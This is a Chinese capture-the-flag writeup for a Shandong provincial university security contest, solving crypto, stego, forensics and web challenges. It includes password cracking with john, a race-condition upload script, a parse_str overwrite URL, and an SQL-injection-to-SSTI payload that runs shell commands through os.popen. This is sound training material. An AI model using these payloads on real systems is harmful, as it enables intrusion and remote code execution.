第七届山东省大学生网络安全技能大赛决赛writeup

文章目录

    • Crypto-affine(6pts)
    • Misc-Crack it(8pts)
    • Misc-basic(10pts)
    • Misc-进制转换(14pts)
    • Stego-啊哒(8pts)
    • Stego-colors(21pts)
    • Forensic-特殊后门(12pts)
    • Forensic-weblogic(12pts)
    • Forensic-日志分析(12pts)
    • Forensic-神秘的文件(14pts)
    • Web-babyWeb(15pts)
    • Web-babyWeb2(35pts)
    • Web-easy_flask(55pts)

先立个flag,以后每次比赛完都要复现写WP…

Crypto-affine(6pts)


y = 17*x-8
flag{szzyfimhyzd}

仿射加密,脚本

a = 'szzyfimhyzd'
a1=[]
for i in a:
    a2 = ord(i)-97
    a1.append(a2)
print a1
for i in a1:
    for j in range(0,26):
        c = (17*j-8)%26
        if(c==i):
            print chr(j+97),
flag{affineshift}

Misc-Crack it(8pts)


shadow文件用john直接爆破

第七届山东省大学生网络安全技能大赛决赛writeup_第1张图片

flag{hellokitty}

Misc-basic(10pts)


RGB画图,py脚本

from PIL import Image
import re                         # 506*122=61366
x = 150 #x坐标  通过对txt里的行数进行整数分解
y = 900 #坐标  x*y = 行数
im = Image.new("RGB",(x,y))#创建图片
file = open('basic.txt') #打开rbg值文件
#通过一个个rgb点生成图片
for i in range(0,x):
    for j in range(0,y):
        line = file.readline()#获取一行
        rgb = line.split(",")#分离rgb
        im.putpixel((i,j),(int(rgb[0]),int(rgb[1]),int(rgb[2])))#rgb转化为像素
im.show()

得到flag图片

第七届山东省大学生网络安全技能大赛决赛writeup_第2张图片

flag{RGB_1s_e4sY}

Misc-进制转换(14pts)


d87 x65 x6c x63 o157 d109 o145 b100000 d116 b1101111 o40 x6b b1100101 b1101100 o141 d105 x62 d101 b1101001 d46 o40 d71 x69 d118 x65 x20 b1111001 o157 b1110101 d32 o141 d32 d102 o154 x61 x67 b100000 o141 d115 b100000 b1100001 d32 x67 o151 x66 d116 b101110 b100000 d32 d102 d108 d97 o147 d123 x31 b1100101 b110100 d98 d102 b111000 d49 b1100001 d54 b110011 x39 o64 o144 o145 d53 x61 b1100010 b1100011 o60 d48 o65 b1100001 x63 b110110 d101 o63 b111001 d97 d51 o70 d55 b1100010 d125 x20 b101110 x20 b1001000 d97 d118 o145 x20 d97 o40 d103 d111 d111 x64 d32 o164 b1101001 x6d o145 x7e

有不同的进制,直接脚本转换

第七届山东省大学生网络安全技能大赛决赛writeup_第3张图片

flag{1e4bf81a6394de5abc005ac6e39a387b}

Stego-啊哒(8pts)


binwalk看到有zip
foremost分离得到加密zip
密码再图片详情信息里
十六进制转字符串得到解压密码

flag{3XiF_iNf0rM@ti0n}

Stego-colors(21pts)


七张图片再stegsolve查看其他信道得到
MakeMeTall

修改图片高度
第七届山东省大学生网络安全技能大赛决赛writeup_第4张图片

把白色转为0 黑色转为1
得到七串二进制
横着解不出来 尝试竖着解
脚本

c1 = '11111111010111101111'
c2 = '11111011111110111111'
c3 = '00001100101010110001'
c4 = '01001010010000001101'
c5 = '11010011011101010111'
c6 = '10011011011010110110'
c7 = '00111001101101111101'

flag = ''

for i in range(0,20):
    c = c1[i]+c2[i]+c3[i]+c4[i]+c5[i]+c6[i]+c7[i]
    flag += chr(int(c,2))

print flag
flag{Png1n7erEs7iof}

Forensic-特殊后门(12pts)


搜索flag字符串,在icmp中得到提示flagishere,往下每一个包都有一个flag字符

flag{Icmp_backdoor_can_transfer-some_infomation}

Forensic-weblogic(12pts)


搜索hostname第七届山东省大学生网络安全技能大赛决赛writeup_第5张图片

flag{6ad4c5a09043}

Forensic-日志分析(12pts)


sql注入过程,上脚本

第七届山东省大学生网络安全技能大赛决赛writeup_第6张图片

flag{sqlm4p_15_p0werful}

Forensic-神秘的文件(14pts)


zip明文攻击,用winrar压缩logo.png为zip文件,然后用archpr明文攻击

第七届山东省大学生网络安全技能大赛决赛writeup_第7张图片

得到解压密码,解压得到docx文件,改后缀zip,得到flag.txt,base64得到

flag{d0cX_1s_ziP_file}

Web-babyWeb(15pts)


抓包加XFF头,修改admin值为1

第七届山东省大学生网络安全技能大赛决赛writeup_第8张图片

flag{4c39e6769fd4251d8b77d00546b76768}

Web-babyWeb2(35pts)


第七届山东省大学生网络安全技能大赛决赛writeup_第9张图片

parse_str变量覆盖

http://47.105.148.65:29002/?id=key[99]=QNKCDZO

得到隐藏界面

第七届山东省大学生网络安全技能大赛决赛writeup_第10张图片

随便写个文件,上传得到文件地址,访问提示too slow!
想到条件竞争

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

具体可以看下这篇文章

http://wiki.secbug.net/web_race-condtion.html

重新随便写个文件上传,上传时抓包
用burp的intruder开battering ram , payload null , generate 50
再利用脚本getflag

import requests
url = 'http://47.105.148.65:29002/uploads/457b055ce2a489dd334216ed0564f9351506d690/coold.php'
while 1:
    r = requests.get(url)
    if 'flag' in  r.text:
        print r.text

开始intruder,py得到flag

第七届山东省大学生网络安全技能大赛决赛writeup_第11张图片

flag{fa8d57d013fda75ad1e58e59b94b45c3}

Web-easy_flask(55pts)


在add界面测试

第七届山东省大学生网络安全技能大赛决赛writeup_第12张图片

然后查询

第七届山东省大学生网络安全技能大赛决赛writeup_第13张图片

存在ssti

SSTI,又称服务端模板注入攻击。其发生在MVC框架中的view层。

服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题

但是add中限制字符长度,最多提交十个字符,没法正常使用ssti

测试search功能,username中存在sql注入

sdpcc ' union select 1,1,1 -- -

第七届山东省大学生网络安全技能大赛决赛writeup_第14张图片

payload

sdpc' union select 1,2," {{''.__class__.__mro__[2].__subclasses__() [59].__init__.func_globals.linecache.os.popen('cat /flag').read()}}" -- - 

当函数被禁用时,就要通过一些类中的关系来引用被禁用的函数

一些常见的寻找特殊模块的方式

class:获得当前对象的类
bases:列出其基类
mro :列出解析方法的调用顺序,类似于bases
subclasses():返回子类列表
dict : 列出当前属性/函数的字典 func_globals返回一个包含函数全局变量的字典引用

flag

flag{c15f43da-481e-4131-84b2-e315719b989b}

复现真的太重要了啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊

你可能感兴趣的:(CTF)